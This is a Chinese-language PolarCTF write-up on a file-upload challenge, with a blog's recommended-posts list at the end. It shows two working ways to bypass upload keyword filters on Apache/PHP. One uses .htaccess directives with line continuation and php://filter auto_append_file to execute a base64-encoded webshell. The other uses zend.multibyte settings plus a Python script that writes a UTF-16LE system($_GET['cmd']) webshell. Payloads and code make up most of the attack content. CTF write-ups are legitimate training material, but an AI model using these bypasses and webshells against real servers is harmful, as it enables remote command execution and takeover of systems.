【PolarCTF】 上传

方法一

上传.htaccess

在请求头中发现是Apache,那么可以尝试上传.htacces绕过

复制代码
满足使用.htaccess的条件:
1、目标服务器必须运行 Apache HTTP Server,或者使用了兼容 .htaccess 语法的服务器
2、Apache 的主配置文件(httpd.conf 或 apache2.conf)中,针对上传目录所在的配置块,AllowOverride 指令必须设置为 All,或者至少包含 FileInfo、Limit 等允许修改文件处理行为的选项
3、网站的文件上传功能没有对文件名进行严格的白名单校验,允许上传以 . 开头的文件
4、文件上传所在的目录在服务器配置中允许执行脚本代码
5、 攻击者需要知道 .htaccess 文件被上传到了哪个具体的 URL 路径。.htaccess 的作用范围通常是当前目录及其子目录。攻击者必须将 .htaccess 上传到与恶意脚本(如图片马)相同的目录,或者其父目录,才能对该脚本生效。

在上传.htaccess的时候出现下面的提示

通过\来绕过关键字过滤

.htaccess配合PHP的流过滤器进行base64解码,绕过webshell的关键字过滤

那么通过反斜杠来进行绕过,反斜杠 \ 在行尾表示"续行",下一行会直接拼接到当前行末尾,反斜杠和换行符被忽略

复制代码
AddType application/x-httpd-php png
php_value auto_append_fi\
le "php://filter/convert.base64-decode/resource=5.png"

.htaccess的内容大致就是将png也作为php文件进行解析,同时每当该目录下任意 PHP 文件执行完毕后,PHP 引擎会自动读取 5.png,通过流过滤器对其进行 base64 解码,并将解码结果当作 PHP 代码直接执行。

发现可以正常上传

Base64对webshell进行编码

这里我们使用base64编码对webshell进行编码,写入到5.png文件中并上传

复制代码
PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==

得到flag

该方法的攻击链如下

复制代码
┌─────────────────────────────────────────┐
│ Step 0: 攻击者发起请求                  │
│ URL: /upload/5.php?cmd=whoami          │
└─────────────────────────────────────────┘
                      ↓
┌─────────────────────────────────────────┐
│ Step 1: Apache 接收请求                 │
│ • 识别文件: 5.php                       │
│ • 识别后缀: .php → 交给 PHP 引擎处理    │
│ • 读取 .htaccess 配置(当前目录)       │
│ • 加载 auto_append_file 配置            │
└─────────────────────────────────────────┘
                      ↓
┌─────────────────────────────────────────┐
│ Step 2: 执行主脚本 5.php                │
│ • 如果 5.php 存在 → 执行其中代码         │
│ • 如果 5.php 不存在 → 返回 404           │
│                                          │
│ ⚠️ 关键:无论 5.php 执行结果如何        │
│ auto_append_file 都会在之后触发!       │
└─────────────────────────────────────────┘
                      ↓
┌─────────────────────────────────────────┐
│ Step 3: auto_append_file 触发 ⭐        │
│ • 主脚本执行完毕                        │
│ • PHP 处理 auto_append_file 配置项      │
│ • 解析值: "php://filter/.../resource=5.png"│
└─────────────────────────────────────────┘
                      ↓
┌─────────────────────────────────────────┐
│ Step 4: php://filter 流处理 ⭐          │
│ • 打开 5.png 文件,读取原始内容          │
│ • 内容: PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+ │
│ • 传入过滤器: convert.base64-decode    │
│ • 过滤器输出: <?php system($_GET['cmd']); ?> │
└─────────────────────────────────────────┘
                      ↓
┌─────────────────────────────────────────┐
│ Step 5: 执行解码后的 PHP 代码 ⭐        │
│ • PHP 引擎解析: <?php system(...); ?>  │
│ • 执行: system($_GET['cmd'])           │
│ • $_GET['cmd'] = 'whoami'              │
│ • 系统执行: whoami 命令                │
│ • 返回结果: www-data / uid=33...       │
└─────────────────────────────────────────┘
                      ↓
┌─────────────────────────────────────────┐
│ Step 6: 响应返回给攻击者                │
│ • 浏览器/攻击工具收到命令执行结果       │
│ • 攻击者获得服务器控制权 ✅             │
└─────────────────────────────────────────┘

方法二

上传.htaccess

开启多字节编码支持

这里跟方法一同理,都是将.png文件作为php来运行

复制代码
#define width 1337
#define height 1337

AddType application/x-httpd-php .png

php_value zend.multibyte 1
php_value zend.detect_unicode 1
php_value display_errors 1

由于上传会对"file"关键字进行拦截,因此这个方法直接避开了file关键字,让服务器可以对多字节编码进行支持

这样.htaccess即可避免"file"关键字拦截,又可以让webshell里面的相关内容不被过滤拦截

这里采用的UTF-16的编码方式

将.htaccess上传

使用UTF-16对webshell进行编码绕过关键字过滤

对于webshell进行UTF-16编码,可以使用下面的脚本文件

复制代码
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

# UTF-16LE WebShell 生成器
payload = "<?php system($_GET['cmd']); ?>"

# 编码为 UTF-16LE(Little Endian,无 BOM)
utf16_payload = payload.encode('utf-16-le')

# 写入二进制文件
with open('shell.png', 'wb') as f:
    f.write(utf16_payload)

print(f"[+] UTF-16LE WebShell 已生成: shell.png")
print(f"[+] 原始长度: {len(payload)} 字节")
print(f"[+] 编码后长度: {len(utf16_payload)} 字节")
print(f"[+] 前20字节预览: {utf16_payload[:20].hex()}")

get shell

相关推荐
其实防守也摸鱼21 小时前
运维--怎么看接口的请求和返回
运维·学习·网络安全·网络攻击模型·burpsuite·攻防对抗·蓝队
菩提小狗1 天前
每日安全情报报告 · 2026-07-09
网络安全·漏洞·cve·安全情报·每日安全
数据知道1 天前
DNS 安全攻防:缓存投毒、DNS 隧道与检测实战
安全·网络安全·缓存·缓存投毒
其实防守也摸鱼2 天前
蓝队相关知识学习(1)---常用堡垒机和服务器
服务器·功能测试·学习·网络安全·网络攻击模型·攻防对抗·蓝队
学逆向的2 天前
汇编——数据存储模式
开发语言·汇编·网络安全
阿米亚波2 天前
【EVE-NG 实战】防火墙基础(VLAN · VRRP · NAT · ACL · 静态路由)
运维·网络·笔记·网络协议·计算机网络·网络安全·运维开发
txg6662 天前
网络安全领域简报(2026年7月3日—10日)
安全·web安全·网络安全
Chengbei112 天前
SoloXSS:一款现代化的自托管 XSS平台
人工智能·安全·web安全·网络安全·自动化·xss·安全架构
2301_780303903 天前
网络安全、自动化运维、ERP、CRM、MES
运维·web安全·网络安全·自动化·安全威胁分析
学逆向的3 天前
汇编——内存
开发语言·汇编·算法·网络安全